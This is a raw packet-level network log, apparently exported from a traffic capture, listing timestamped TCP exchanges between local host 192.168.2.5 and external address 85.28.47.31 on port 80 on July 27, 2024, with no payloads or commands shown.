Jul 27, 2024 09:25:04.951245070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951277971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951311111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951312065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951338053 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951344967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951356888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951394081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951395035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951427937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951442003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951462030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951471090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951510906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951512098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951545000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951555014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951577902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951591015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951610088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951620102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951642990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951649904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951675892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951694012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951709032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951719999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951740980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951755047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951775074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951786995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951807022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951817989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951841116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951848984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951874018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951889038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951905966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951915026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951939106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951950073 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.951972008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.951982975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952004910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952023029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952037096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952047110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952069998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952075958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952101946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952114105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952133894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952143908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952167988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952176094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952204943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952215910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952236891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952254057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952270985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:04.952289104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:04.952312946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.038959980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039011002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039046049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039077044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039112091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039144039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039180994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.039232969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.039232969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.039233923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.039583921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042069912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042143106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042193890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042227983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042262077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042294025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042326927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042360067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042376995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042376995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042376995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042376995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042377949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042392969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042424917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042459011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042459011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042459011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042485952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042493105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042522907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042547941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042547941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042581081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042604923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042613983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042627096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042648077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042675018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042687893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042696953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042720079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042749882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042753935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042769909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042785883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042815924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042819023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042834997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042851925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042880058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042885065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042900085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042917013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042943954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042951107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.042963028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.042984009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043010950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043015957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043034077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043047905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043075085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043081999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043093920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043113947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043140888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043148041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043164968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043181896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043198109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043215036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043231964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043247938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043263912 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043282986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043298006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043318033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043333054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043349981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043368101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043382883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043400049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043435097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043435097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043469906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043498039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043504000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043514013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043553114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043555975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043591022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043603897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043622971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043652058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043656111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043670893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043692112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043710947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043724060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043751001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043757915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043770075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043792009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043818951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043823957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043837070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043857098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043873072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043888092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043915987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043920994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043935061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043952942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.043982029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.043988943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044001102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044043064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044090986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044122934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044153929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044154882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044173956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044188023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044197083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044223070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044236898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044256926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044271946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044291019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044305086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044323921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044339895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044357061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044374943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044393063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044409990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044437885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044445038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044476986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044538021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044538021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044557095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044588089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044615984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044620991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044630051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044652939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044686079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044699907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044703960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044737101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044754028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044775009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044794083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044806957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044820070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044841051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044874907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044889927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044891119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044922113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044938087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044955969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.044971943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.044989109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045006990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045022011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045057058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045059919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045084953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045089960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045099020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045123100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045150042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045155048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045173883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045188904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045207024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045221090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045239925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045255899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045272112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045289993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045300961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045324087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045351028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045356989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045371056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045389891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045416117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045439959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045444012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045476913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045485020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045507908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045520067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045542955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045551062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045574903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045584917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045607090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045624018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045639992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045648098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045672894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045686007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045706034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045715094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045738935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045754910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045773029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.045779943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.045814991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131494045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131565094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131582022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131614923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131628990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131650925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131664991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131705999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131710052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131741047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131769896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131777048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131789923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131809950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.131825924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.131860018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134481907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134516954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134546041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134567022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134569883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134603024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134610891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134637117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134648085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134670019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134680033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134706020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134713888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134737968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134754896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134773970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134787083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134808064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134815931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134844065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134851933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134876013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134887934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134910107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134919882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134942055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.134951115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134984016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.134994030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135025978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135056973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135059118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135077000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135092974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135101080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135135889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135158062 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135190964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.135209084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.135234118 CEST	49704	80	192.168.2.5	85.28.47.31
